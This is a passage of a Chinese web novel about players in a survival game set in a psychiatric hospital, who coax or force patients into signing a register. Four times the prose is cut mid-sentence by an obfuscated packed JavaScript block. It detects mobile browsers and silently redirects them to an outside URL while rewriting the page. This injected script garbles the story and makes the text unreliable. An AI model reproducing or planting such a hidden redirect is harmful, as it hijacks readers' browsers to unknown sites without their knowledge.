他没深想姜渺为什么会如此果断让步,以及童柠为什么不阻止姜渺给他分享主线线索,反正他手里也是有一定的主线线索的,如果姜渺给的线索是假的,那他也是有足够的能力把这两人淘汰的。
“当然可以,我可是很讲理的。”他绅士地欠了欠身。
姜渺没有质疑他,问,“有纸和笔吗?”
黑衣男子笑着让身旁的人把早已准备好的纸和笔给她。
姜渺接过,把利用仓库里的血袋判断出来的医生病人编号写下,“希望你说话算数。”
黑衣男子扫了一眼,确定他已知的信息和上面所写的并无区别后,给她让道:“你们可以离开了,但他得留下。”
姜渺蹙着眉看他指着的人,问:“理由。”
黑衣男子是知道单云轲的身份的,他避开这一信息,揽过一旁他瘦小的、正在瑟瑟发抖的跟班:“也没什么重要的事,就是他偷我这位朋友的道具卡是不是能还一下了?”
“我用过了。”单云轲扯谎道。
他本来还想着这是一个脱离正义阵营去推进邪恶阵营主线任务进度的好机会,却在听到黑衣男子话时,抓着姜渺的袖子生怕她把他扔给黑衣男人。
黑衣男子不信,但也没办法强行搜单云轲的身,他和单云轲有过交手,这人滑头得很,他不愿意交出来的东西,你是怎么也不可能从这人手上拿到的。
于是他又拉过另一个人:“那他的道具呢?他刚使用道具卡,把道具兑换出来,在身上装了还没十分钟就消失了。而据他所说,他那短时间内,只和单云轲有过接触。”
姜渺拧着眉看向单云轲。
单云轲完全没觉得把自己阵营唯二两个NPC身份牌的道具卡有什么不妥,他理所当然地吐槽:“你还好意思提你那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686099|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道具,那破录音笔是我见过最没用的道具了。我录了半天一句话也没录进去,录音笔里只有乱七八糟的歌声。而且最主要的是那录音笔还关不掉,把它弄烂了它才停止发出那烦得要死的噪音。”
那录音笔的主人一听到自己用精打细算的积分换来的道具已经被单云轲弄坏了,急得要哭,把兑换道具后变灰的道具卡甩到单云轲身上,斥责他:“明明是你不会用好吗!”
单云轲接住道具卡,扫了一眼,摸了摸鼻子。
道具卡上清晰地标注着道具的名字介绍和使用方法:
【只剩一格电的录音笔:
虽然只剩一格电,但它其实还拥有着相当长的使用寿命。或许紧急时刻你也可以打开录音笔的播放按钮听听它的前主人留下了些什么。
使用方法:按下开关后,录音笔即进入无限循环模式,它发出的声音可以扰乱npc/玩家的判断,混乱npc的索敌机制/锁定对方的技能,致使对方无法发动攻击。】
嗯,吸取教训了,下次他偷道具会把道具卡一起偷到手的。
“你最好保证你手里的另一张道具卡能发挥出它的最大价值。”黑衣男子见一张道具卡也要不回来,附在单云轲耳边极其轻声地给他留了一句话,沉着脸带着人离开了。
单云轲完全不把他的话当回事。
他凭本事偷到的,为什么要别人管教他该如何使用?
童柠等黑衣男子走远了才开始嘲笑单云轲:“道具放在某些人身上真是浪费资源,明明是自己不会用道具,却还要怪在道具身上。”
单云轲想起那个录音笔就觉得郁闷,和童柠呛声:“你又好到哪儿去?一次言灵机会和一张道具卡,再加上姜渺100%的血量,只得到那么点主线线索。”
姜渺听着,觉出了点意思,她问:“你们俩据我所知都不是NPC,但你们为什么都有两张道具卡?”
“当然是因为我把NPC的道具卡都偷了啊。”这是单云轲说的。
“那晚用的道具卡是我朋友的,另一张道具卡是我从NPC身份牌玩家的尸体上捡的。”这是童柠说的。
姜渺对童柠所说的“捡”保持怀疑,她看着完全不认为自己做的有什么不对的两人,默默地感概:邪恶阵营算什么恶啊,这俩人才是货真价实的恶人。
童柠说完就觉察到了不对劲,她警惕地看着单云轲:“不对啊,刚才那人身边的两个是邪恶阵营的NPC,那我捡尸的那个就是剩下的那个正义阵营NPC。你不是正义阵营的NPC,那你是什么身份牌?你该不会是邪恶阵营的吧?”
单云轲正准备开口编造身份,童柠就又说:“别乱编身份,我会要求你自证的。”
单云轲憋了又憋,转头和姜渺求助。
在和类人生物打斗时,他就发觉了姜渺很吃他柔弱求助的姿态。
果不其然,姜渺本在一旁安静看戏,不准备插入纠纷,却在看见他刻意装出来的可怜姿态后,轻咳了一下,开口:“刚才那几个人应该是去找陈冠玉推进主线任务进度了。我们也早些去吧,不然邪恶阵营很有可能就要获胜了。”
童柠琢磨着姜渺的意思,不可置信地问:“等等,你的意思是你给他们的主线线索是真的?”
8. 第八章
姜渺一脸无辜:“不给真线索,他们怎么可能轻易放过我们?”
童柠一时哑言,不知道该怎么反驳她。
姜渺说的好像有那么点道理,但是给对立阵营送真线索到底是什么脑回路的人才能干出来的事情啊?
童柠觉得自己摊上姜渺和单云轲这两个人真是倒了大霉了,她大步走向楼梯,没听到两人跟上来的声音,回头喊他们:“还傻站着做什么,快点去找陈冠玉啊,我可不想输给那人。”
单云轲见童柠总算不揪着他的身份问了,转头朝姜渺露出一个笑,无声地做口型:“谢谢。”
姜渺已经八九不离十猜到了单云轲的身份,在路过他时,轻飘飘带着点笑意的声音落入单云轲耳底:“你说如果我道破你的身份,你会不会变成NPC?但我没必要为了正义阵营做到那个地步。可如果你走出我的视线范围外,让我觉得你不可控了,那就不一定了。”
单云轲的笑僵在脸上,不多时变作气愤。
这简直是明晃晃的威胁!
他又开始怀念他与姜渺初见的时候。
要是他那时候不心善就好了。
单云轲又偷偷调出电子屏看了一眼,木着脸。
哦,不心善也没办法通过技能淘汰掉她。
单云轲这边还在祈求上天赐他一粒后悔药,他绝不再靠近姜渺,姜渺那边已经敲响了陈冠玉办公室的门。
“看来我今天的客人格外得多,请进。”
姜渺听着陈冠玉这半抱怨的话,就知道黑衣男子已经来过了。
动作倒是够快。
姜渺给童柠使了个眼色,让她守着门后,才推门踏进陈冠玉的办公室。
“是你。”陈冠玉推了推眼镜,“你找我有什么事?”
“我已经把血袋都按编号整理好了。”姜渺顿了顿,接着说,“我没看见老鼠。”
陈冠玉闻言猛地站起身,双手撑着桌子,逼近姜渺:“老鼠?我怎么不知道仓库里还有什么老鼠。”
姜渺觉察到危险,手背在身后,随时准备召唤守护剑:“我去仓库前你和我说的。你说如果有老鼠,把它们打死最好,如果不能打死就把它们清扫出去,但我没看到老鼠。”
“怎么白天他也能出来了……”陈冠玉按了按太阳穴,双目紧紧盯着姜渺的脸,不错过她的任何一个表情,“没有老鼠最好,没有老鼠最好,那别的奇怪的东西你有看到吗?”
姜渺困惑地问:“陈医生,我不明白你的话。”
陈冠玉仔仔细细确认着姜渺脸上是否存在着任何代表着撒谎的痕迹,半晌后,他长长地呼出一口气,恢复了那副温润如玉的模样:“抱歉,刚才是不是吓到你了?我只是有些太紧张仓库里的血袋了。你知道的,作为医院的负责人,我要考虑的事情太多了。”
姜渺理解地点点头:“另外,我感觉部分医生和部分病人的角色是不是有些颠倒?但也有可能是我多疑了。”
陈冠玉刚舒展开的眉又深深拧起:“这个事情刚才已经有实习护士和我提过了。不过既然你也注意到了这种情况,那麻烦你也为正确的医生病人们做个登记吧。”
他从桌上抽出一张薄薄的纸递给姜渺:“一定要让他们亲手在这份统计表的对应位置上签字。我想真正的医生们会配合你的,但病人们就未必了,或许你可以从他们的病历下手?他们总是在看到他们的病历时会陷入短暂的狂躁。呵,我也只是随口一提。总之接下来的事情交给你了。”
姜渺接过,假装转身要走,却在门口停住了脚步。
陈冠玉像是没注意到她并未离开一样,开始在办公桌后焦躁地转来转去:“他怎么白天也可以出来了?我竟然丝毫没察觉到他今天白天出来过,这可不太妙。嗯……该怎么办?一定有什么办法能让他彻底消失……”
之后陈冠玉的声音就听不到了,即使姜渺还和他处在同一个空间内。
姜渺等了片刻,确定这是游戏系统的屏蔽功能生了效,陈冠玉所说的一定是事关完成支线任务的线索后,毫不留恋地离开了陈冠玉的办公室。
她进去得太久,单云轲和童柠在外面从放松地斗嘴演变成不安地踱步。
姜渺欣赏了一下两人酷似那什么的姿态,轻咳了一声,等两人围过来后说:“恭喜,母女平安。”
童柠愣了一下,撇了撇嘴:“你怎么还会讲这种冷笑话,情况怎么样?那人抢在我们之前了吗?”
姜渺点头。
童柠和单云轲对视一眼,前者是真的绝望,后者则是假装绝望,实际眼中的欣喜差点藏不住。
“你们这是什么表情?陈冠玉也给了我推进主线任务的道具,而且我还知道支线任务下一步该怎么做了。”姜渺说。
童柠重新燃起希望,盯上姜渺手上的登记表:“是这个东西吗?”
姜渺挡住单云轲觊觎的目光,将登记表好好收起,把在陈冠玉办公室里发生的一切同两人讲了讲。
“支线任务还是不太清晰明朗啊,先做主线任务吧,反正我们都不缺支线任务那点积分。”童柠整合了一下目前已知的支线线索,说。
姜渺看了眼自己为零的积分,默然。
不,我缺。
单云轲附和:“主线任务的话,既然医生很好收集签名的话,那我们不如先从病人下手?就我负责的那两个病人。”
童柠反对:“一上来就超高难度,我真的要怀疑你居心不良了。”
单云轲怕童柠又乱猜他身份,闭嘴不言,心底却较劲不已。
就是居心不良咋了,有本事让姜渺把他踢出队伍啊。
姜渺倒是不在意难度高与否,她漫不经心地说:“就单云轲负责的那两个病人吧,马上就要到日常检查的时间了,不确定3号医生拿到自己的工作牌后,对单云轲的杀意是不是消除了,我们得在一旁看着。”
单云轲心大,本来已经忘记还有这么一茬了,经姜渺一提醒,整个人又是焉焉的。
他至少是在这个副本结束前都在姜渺面前硬气不起来了,他又没有本事对付乔医生,免不了到时候还得姜渺庇护他。
以前他可都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686100|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凭本事过的副本。
嗯,随机挑选幸运儿当他替死鬼怎么不算一种凭本事?
他又不可能让姜渺和童柠当他的替死鬼,前者绝对能躲过他的陷阱,后者和姜渺绑定着,姜渺肯定会护着她。
嘶,好烦,姜渺吃他柔弱的模样,难不成他又要装柔弱抱大腿?他堂堂七尺男儿绝不做这种事!
单云轲这么想着,在论坛里匿名发了个帖子:
【求助!怎么做才能让自己在别人眼里柔弱万分,顿生保护欲?或者谁有《装柔弱一百式》?可高价收。】
【1L
?楼主这是要搞什么下三滥的过副本手段。提前警告一下,副本无美色,对立都该死。】
【2L楼主
……暂时不是对立。】
【3L
对队友也不能用这种下三滥的手段啊。妹子,我奉劝你一句,副本里靠男人,不如靠自己。有时候男人还不如你呢。】
我……不是妹子啊。
单云轲看着匿名玩家十分好心的建议,心中升起一股浓浓的无力感。
如果能靠自己,谁靠别人?这不是自己靠不住吗?
单云轲打量着姜渺一米七五的高挑身材,比划了一下她并不宽阔的肩膀,又回忆了之前的几次英雄救美,理直气壮又极其不要脸地想:这明明超可靠好吗?那个匿名玩家简直是吃不到葡萄说葡萄酸,找不到可靠女人就说副本里谁也不可靠。
他收回电子屏,打算过段时间再去看一眼有没有人出《装柔弱一百式》。
姜渺对单云轲的心理活动完全不知晓,她还在思考着如何才能让3号的两位病人乖乖签字。
陈冠玉虽然提了一嘴病历,但他所描述的病历更像是激怒病人的工具,如果使用不恰当,很有可能3号病人不仅不会乖乖签字,还会对他们发起攻击。
姜渺倒是无所谓,兵来将挡,水来土掩,她对自己很自信,副本里她只担心她会因为触犯副本禁忌而悄无声息地被规则整死,至于这种明面上的刚刀,她是完全不怕的,但单云轲和童柠应该是无法自保的。
一带二,好心累。
姜渺瞬间就决定放弃冒险激进的计划了。
工作牌还了之后,3号医生总算是没有在走廊里像幽灵一样飘荡游走了,但过分安静的走廊总让人生出些不好的预感。
姜渺回头给单云轲和童柠比了个手势,让他们停止在走廊里突兀地发出声响,然后轻手轻脚地走到办公室门口,透过门上的玻璃朝里看,却正好和3号医生四目相对。
3号医生极其缓慢地眨了眨眼,夸张地一个字一个字做着口型:“抓到你了,小偷。”
姜渺瞳孔一缩,猛地召唤出守护剑刺向门上的玻璃,直抵3号医生的眉心。
玻璃瞬间炸开,细小的碎屑飞得到处都是,而离玻璃最近的3号医生的脸上更尽是细小的血痕,姜渺看着都觉得很疼,但3号医生却仿佛感受不到疼痛一样,阴冷地笑着,透过姜渺看她身后的单云轲,歪着头问:“这回你们又想偷走什么呢?”
9. 第九章
“你的病历,你给吗?”姜渺问。
3号医生没想到姜渺会如此坦诚,很明显地愣了一下,给了姜渺制服他的机会。
姜渺剑锋通过玻璃碎裂口穿过门,斜在3号医生的脖颈上,“给我你的病历。”
单云轲和童柠在一旁目瞪口呆。
还能这样?
那他们以前为了一点小线索和NPC斗智斗勇,如履薄冰算什么?
算他们脑细胞多吗?
姜渺完全没觉得自己的做法有什么不对,她半带疑惑地看着一动不动的3号医生,又把剑锋往前送了送。
3号医生脸上露出了诡异的笑容,手直接握着剑刃扯动姜渺的胳膊,使姜渺整个人撞在门上。
姜渺只来得及偏了偏头,错开门上残留着的玻璃碎片,但还是有一块玻璃和她的耳朵擦过,划了一道深深的血痕。
“姜渺!”
单云轲和童柠见她失了势,冲过来想要帮她,却被不知道什么时候绕到他们身后的3号病人制住双手。
姜渺扫一眼身形高大强壮的3号病人大臂上隐隐若现的肌肉,又看一眼只能算作正常人身材的单云轲和童柠,想了想,委婉地说:“你们牵制住3号病人也是可以的,他手上没有武器。”
单云轲和童柠二人没明白姜渺的意思,但在他们尝试过挣脱3号病人的束缚后,他们就知道姜渺并不是看不起他们。
3号病人是大力怪神啊!他们两个人一起挣扎,3号病人连动都不带动的。
姜渺观察着他们那边的动向,轻笑一声,收回了守护剑,抹去耳朵上的血,拧了拧锁死的门:“隔着门多没意思啊,你出来,或者我进去,选一个?”
她自进入游戏后一直保持着的散漫无所谓的姿态消失得无影无踪,转而身上升起一股令3号病人直觉畏惧的可怖气质。
3号医生咽了口唾沫:“我不怕死的。”
姜渺甩了甩手腕,比划了一下她和门的距离,退后几步,猛地飞踹开办公室的门:“我也从没说过要杀你。”
不会杀他,那会怎么样他?
3号医生惊疑地看着被姜渺踹飞的门板,瞬间回想起医生病人们的身份还没有混乱的时候,他有时候整日都会被关在治疗室里,躺在那张狭小的病床上,望着洁白的天花板,接受着无尽的电击治疗,即使他一直在重复着“我会听话的”,那些躲在玻璃后的医生们也只是面无表情地观察着医疗机器上的数据,然后冷冷地对操控电击设备的人下令:“还不够,加大幅度。”
“我不要,我不要再被关进治疗室里了。”3号医生抱着头,神经质地反复念叨着这几句话,然后在姜渺提着剑,居高临下地站在他面前时,猛地抬头,眼中尽是医生们最厌烦他露出来的坚定神色:“我不要再做回病人了。”
姜渺不关心3号医生的想法,问他:“告诉我病历在哪里。”
既然知道他们会来,那么他一定已经把病历藏到了自己认为最安全的地方。
姜渺懒得猜。
3号医生低低笑着,像个顽童一样耍脾气:“我不会告诉你的,我还要毁掉它,只要它不存在,那就不会再有人以异样的目光看我,不会有人在路过我时,小声地嘟囔‘又碰到这个精神病了,真倒霉’。”
打感情牌吗?
姜渺疑惑地想。
可惜对她没用。
她不清楚自己失忆前是做什么的,但她面对这样的3号医生是完全能心中一点触动都没有的。
她首先信任她的判断,其次她相信自己的找到的线索。
“给我你的病历。”姜渺又重复了一次。
“我没病。”3号医生平静地看着她,“你们为什么都要咬死我有病,然后在我身上用那些堪比刑罚的所谓的‘治疗方案’呢?”
不等姜渺开口,他又摆出一副坚决不屈服的倔强表情,“哦,我懂了,你们都是杀人凶手,你们利用自己医生护士的身份为自己杀人找着最冠冕堂皇的借口。呸,杀人犯!”
姜渺摇头否认:“我没杀过人,至少我没杀过无辜的人。”
“我不无辜吗?”3号医生问。
“无辜,所以我不会杀你。”姜渺认真地说。
3号医生完全不信她:“先把你的剑放下,再说这话。”
姜渺依言放下剑。
3号医生狐疑地上下打量着仿佛一下子就消去方才那股可怕斗志的姜渺:“你和那些医生不是一伙的?”
姜渺顿了顿,问:“一伙的定义是?”
3号医生陷入了沉思:“在医生病人的身份还没有混乱时,每一个医生都是负责着两个病人,但很快,那十二个病人就在惨无人道的治疗下死在了病床上。医院对外说只是医疗事故,谁信呢?所有人都信了,除了我们这些被困在医院的病人。”
姜渺不对医生的治疗手段做评价,心平气和地问3号病人:“然后呢?你们没有向外界传达你们的发现吗?”
3号医生苦笑着:“谁会信呢?没有人会信我们这些精神病人。”
“是吗?他们为你编造的病名是什么?”姜渺随意地盘腿坐下,观察着3号医生的状态。
3号医生明显没有完全放下警惕,他还在提防着姜渺,那么病历所在的地方,一定是他最警惕的地方。
“被害妄想症。”
3号医生的话音还没落下,姜渺的剑尖就挑破他胸口的布料,封面用极其显眼的字体大写着他名字的病历赫然露出。
姜渺轻巧将病历捞在手里,头也不抬地用剑把陷入狂躁状态的3号医生挡在自己一米之外:“嗯,你看起来确实很像拥有被害妄想症。”
“你,闭嘴!欺骗我的信任,你和他们毫无区别,你也想要我的命!”3号医生红着眼,一步步靠近姜渺,全然不顾剑刃划开他身上的白大褂,陷入他的皮肉。
“我不想,我只想得到这本病历。”姜渺晃了晃手里的病历。
3号医生仿佛命根子在姜渺手中一般,拼了命地挥着手想要夺回病历。
姜渺始终保持着一个安全距离,还能有闲情翻开病历寻找破解的法子。
【姓名:乔卫东
病情介绍:典型的被害妄想症,认为身边的所有人都想害他,情绪过于反复无常,攻击性很强。
医生批注:他很害怕哨子声,吹响哨子后他会短暂陷入童年回忆,将吹哨者当作回忆里执掌他性命的“驯兽人”,但同时病情会加重,至少在吹哨一周内都会保持对外界极其神经质的状态。因而非必要,不建议采用此方法。】
姜渺低头看着乔卫东已然涣散的眸色。
现在这情况很必要吧?
但她没有哨子。
按乔卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686101|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东对哨子的害怕程度和厌恶程度,他也不会在办公室放这种东西。
难办。
姜渺困扰地抿了一下唇,想象着哨子发出的声音,上下唇一碰,舌头微卷。
一个标准的哨子音从她口中发出。
乔卫东听到哨声,立即蹲下,条件反射地抱着头,将自己蜷缩成一团,口中不断念叨着:“我很听话的,不要打我,不要打我,我不是故意触犯规矩,求求您,放过我,我要被打死了……”
姜渺抬起他的下巴,强迫他与自己对视:“乔卫东。”
“我在!”乔卫东大声回应。
姜渺满意地拍了拍他的头,将登记表递给他:“很乖,来,在这里签下你的名字。”
乔卫东迷茫又胆怯地看着她:“您不打我吗?”
姜渺怜悯地说:“乖孩子是不会挨打的。”
乔卫东重重地点点头,乖乖地在登记表上签下自己的名字:“嗯,我是乖孩子,我很听话的。”
姜渺收集到他的签名后,就放任他不管了,毕竟单云轲和姜渺那边也是一个极其难缠的角色。
只不过比武力值的话,她也是不惧的。
姜渺自信地将登记表收好,走出办公室。
童柠已经脱离战场,正在乐呵呵地看戏,听到身后有脚步声,回头和姜渺汇报情况:“那大块头还挺有原则的,他不打女性,于是单云轲现在已经被揍了十多分钟了。”
姜渺拧着眉看向不远处两人看似激烈,但实则只是单云轲单方面挨打完全没机会还手的战况。
单云轲见姜渺从办公室出来,急忙呼救:“姜渺,求你守护我。”
一旁吃瓜的童柠不满地反驳他:“姜渺是我的守护者,要守护也是守护我,你换个求救词。”
单云轲听着这话,天都要塌了。
这都什么时候了还要他修改求救词,童柠最好是以后不会在副本里再碰见他了,不然他非要把她献祭给npc。
他扭了一下身体,确保3号病人的拳头和他的脸擦边而过后,努力想了想以往他在副本里遇见的那些故作柔弱,实则心肠蛇蝎的玩家最常做的表情,唇角一低,双眸微颤,专注地看着身形挺直如松的姜渺,仿佛他的世界里只有她一人:“姜渺,求你,救我。”
很可怜,很容易让人升起保护欲的姿态。
但……
姜渺掩下眼中的动容,把守护剑收了起来。
单云轲见她这副模样,心底咯噔一下,以为姜渺决定放弃他了。
他闭上眼睛,等待自己的死期。
自打《神明已闭眼》登陆蓝星,他除了必要的休息外,基本上都是在游戏副本里度过的。
《神明已闭眼》登陆前,他还只是一个对未来充满幻想的大二学生,《神明已闭眼》登陆后,他已经忘却时间流逝的存在了。
总归他还是《神明已闭眼》登陆蓝星前的那副模样,没变。
脑中,他将自己短暂的十九年回忆了一遍,甚至《神明已闭眼》登陆前他以为自己早已忘却的那些久远记忆也被他走马灯过。
他的大学还没读完呢。
单云轲遗憾地想。
他安静而不甘地等待着自己的死亡,却听到姜渺清冷中带着一丝笑意的声音恍若天神般降临。
“单云轲,病号服上衣左侧口袋。”
10. 第十章
单云柯猛地睁眼,趁3号病人还没对姜渺的话语做出反应,伸手迅速袭向3号病人左腰间。
是病历。
单云轲果断地抽出病历,同时感觉身上一轻。
他再看向3号病人时,3号病人已经深陷入墙中,昏迷不醒。
在场的只有他,童柠和姜渺,童柠和他战力差不多,单云轲很容易就猜出3号病人的惨状是谁造成的了。
姜渺身上明明没有那些可怕的肌肉,怎么实战起来能比3号病人还厉害?
单云轲直觉姜渺露出来的只是冰山一角,更坚定了这一场游戏后和姜渺再也不见的想法。
但现在还不行。
姜渺朝他勾了勾手指:“病历拿过来。”
单云轲片刻也没有犹豫,十分狗腿地给她双手递过去。
【姓名:庞旭
病情介绍:反社会型人格障碍,缺乏感情,漠视社会规则,具有严重的暴力倾向。
医生批注:意外地对女性很宽容,应该和患病前关系最为密切的一位姐姐有关。这是一个很关键的制服点呢。因为只要有漂亮温柔的姐姐和他柔声细语讲话,他就会变得很好说话。借着这一点,让我省了不少心。】
漂亮?温柔?
姜渺自认她和这两个字都不沾边,转头喊童柠,把登记表给她:“待会儿他醒了,你去让他签字。”
童柠看了眼医生批注,疯狂摆手:“我不行,明明是你更符合这两个要求。”
开玩笑,让她去和那大块头讲话,还要温柔地讲话,她不抖成筛子就不错了。
“我?”姜渺眼中浮现出迷茫,显然她对自己很没有自知之明。
童柠也只是随口一说,但姜渺这声反问却让她第一次认认真真地打量了一番姜渺的外貌。
姜渺脸型偏圆润饱满,眼型也是水灵漂亮的杏眼,只不过眸色要比寻常人的浅许多,更偏向灰绿色。两撇浅淡的眉正正落在上方,弯弯地包裹着下方的眼睛,让她整个面部更显柔和。厚薄正好的唇则颜色偏寡淡,映照得她素净而纯真。
完全和姜渺表现出来的“诈骗”性格一模一样啊。
于是童柠坚定地说:“对,你。你比我要合适太多了。”
姜渺失忆后还没照过镜子,不明白童柠为何如此笃定,不过考虑到童柠可能会害怕3号病人,表现不自然,也就没再强求童柠了。
她踹3号病人时有收着力,因而她计算着时间,估摸着3号病人差不多要醒了,捏着登记表,站在3号病人头旁边。
“你醒了?身上有感觉哪里不舒服吗?”姜渺并不擅长温柔的角色,一句话说下来,她只觉得自己不仅身体僵硬不已,舌头也有些捋不直。
童柠应该不会比她表现得还差,果真还是应该让童柠来的。
她懊恼地想。
庞旭却已经陷入幻觉,他仰慕地看着姜渺,像个毛头小子一般扭捏又坦诚:“姐姐,你终于来我的梦里了。我好想你,但我怕你不喜欢现在的我。”
“你为什么会觉得我不喜欢现在的你?”有了庞旭顺剧情,姜渺进入角色很快,但她的声音完全不温柔,反而泛着微微的冷淡。
庞旭支支吾吾半天,才鼓起勇气说:“姐姐你不会怪我杀了很多人吗?”
“可以告诉我理由吗?”姜渺问。
庞旭瞬间愤懑不平地说:“是他们害死了你。可是他们却能因为所谓的权势将你的死亡完全掩盖,于是我把他们杀了。”
“你没有杀无辜的人吗?”姜渺没同情他的遭遇,问了一个她最关心的问题。
“我……”庞旭沉默了。
“你杀了,对吗?你所谓的为我而杀了许多人只是你冠冕堂皇的借口,对吗?”姜渺的言语突然变得犀利起来。
庞旭辩解道:“我不是,我刚开始真的只是为了给你复仇,但后来……不过他们并不无辜,他们都该死。”
“可你并不是审判者,没有人有审判他人生命的权力。”姜渺眼见庞旭的精神濒临崩溃,把登记表递给他,“帮姐姐个忙好吗?在这上面签下你的名字。”
庞旭照做,在姜渺指定位置写下他的名字:“我这样做,姐姐就会原谅我了吗?”
“你觉得你做错了吗?”姜渺反问。
“我认为我没错。”庞旭挣扎片刻,选择对他珍视的“姐姐”坦诚。
姜渺摇摇头,“他们该死的理由呢?”
庞旭双目发红,语气激动:“除了姐姐,其他人都不无辜,他们就是该死!除了姐姐以外的人都该死!”
“真是没救。”姜渺叹了口气,在他后颈敲了两下,让他再次陷入昏迷。
见庞旭倒下,不远处围观的单云轲和童柠才敢围过来。
“进度良好啊,现在已经收集到两个病人的名字了。”童柠小心地从姜渺手中接过登记表,翻来覆去地看。
单云轲眼巴巴地看着。
他也想拿到手上看,但提防他和提防贼一样的童柠连登记表的边都不给他碰,已经猜出他身份的姜渺更是不可能让他拿到登记表。
“嗯,还不错。看3号这边的情况,单云轲你也不用留在这边等下午的日常检查了。他们不像是待会儿就能恢复如常,可以正常走剧情的样子。你直接跟着我们继续去收集我负责的那两位医生的签名。”姜渺说。
单云轲毫无意外地垮了脸。
姜渺的智商和战力完全可以支持她一个人单走,带童柠还能说是因为她们之间存在着守护与被守护的关系,非要他一直跟着是为什么啊?
他和姜渺相比就是废物一个,什么帮助都提供不了,放他去和邪恶阵营其他人汇合做任务行不行?
姜渺的态度是——当然不行。
一是单云轲基本上是和她们共享各种线索的,把他放走完全是在给中立阵营的获胜添加困难。
二是姜渺并不想更多的暴露自己“中立守护者”的身份。她的原则是能摆就摆,在单云轲和童柠面前故意暴露也是因为她觉得单云轲有点好玩,想要逗一逗他,以及对差点要她命的童柠起一个威慑作用,让她不敢再仗着她们之间的绑定关系随意地去用命试错。
姜渺自认还是很珍爱生命的,她可不想把自己这条命就这么轻易地交代在副本里。
二楼右侧,安医生坐在病房门口,听到由远到近的脚步声,回头:“姜护士这么旷工,可是要扣工资的。”
“安医生。”姜渺喊。
安医生看了眼天色,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686102|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仍是一贯的温柔语调:“奇怪,也没天黑呀。”
姜渺把庞旭的病历给她。
安医生接过,翻开一看,眼睛眯成一条弯弯的弧度:“姜护士太聪明了。要不是还有宫医生在,我倒觉得我和你更相投些。”
“你和谁更相投?”宫医生在办公室里偷听许久,在听到这句话时,终于忍不住推门而出。
安医生像安抚小猫小狗一样,哄他:“和你。”
姜渺早就隐隐察觉他们之间关系不一般,没多给安医生秀的机会,把登记表又递给她:“麻烦你给我签个字。”
“可以。”安医生含着笑,十分好说话。
“宫医生。”安医生签过后,姜渺又去喊宫医生。
宫医生目光落在她身上,脸一下就沉了下去。
单云轲和童柠同时心底一惊。
姜渺摸了摸鼻尖,知道宫医生为什么不待见她:“我不是故意的,我真的不会抽血扎针。”
宫医生胳膊上的淤青还未消去,又怎么可能接受姜渺这听不出多少歉意的说辞,但安医生掩着嘴轻咳一声,他脸色就被迫好转了些,虽然话语间还能听得出明显的报复意味,却不是针对于姜渺:“没关系,待会儿日常检查还是由你来抽血。”
姜渺又摸了摸鼻尖,声音里含着心虚:“嗯……我为了收集签名,参照医生批注把乔卫东和庞旭弄得疯的疯,昏迷的昏迷,估计他们没办法正常进行日常检查了。你们这边做完日常检查要不去帮他们做一下?”
宫医生皱起眉:“你把那两个病人怎么了?你怎么一点医德都没有?”
姜渺垂头看脚尖,不说话。
宫医生想谴责她,但偏爱她的安医生还在,于是话到嘴边又憋了回去:“算了,他们的日常检查我和安医生带他们去治疗室做。你只要给安医生抽血做检查就好了。”
“我能不能拒绝?”姜渺打死都不想给人扎针了,别说宫医生有心理阴影,她也有心理阴影了。
宫医生皮笑肉不笑:“想都别想。凭什么只有我受庸医的折磨?”
“庸医”姜渺无言以对,只能看向安医生。
安医生比宫医生脾气好太多了,只是嗔怪地看了他一眼,把病号服的袖子挽起:“明明是你抽签运气太差,怎么还能怪这个,怪那个的?但我相信姜护士。”
宫医生见安医生也同意由姜渺来抽血,愉悦地把针塞到她手里。
姜渺实在推脱不掉,抱歉地看着安医生。
安医生早已习惯抽血,用拇指在自己胳膊上比划着,温柔地引导她:“我教你,这个位置。”
姜渺屏着气息,一鼓作气,一次成功。
宫医生在一旁脸色黑如锅底。
他当时怎么没想到可以直接给姜渺指出扎针的位置?
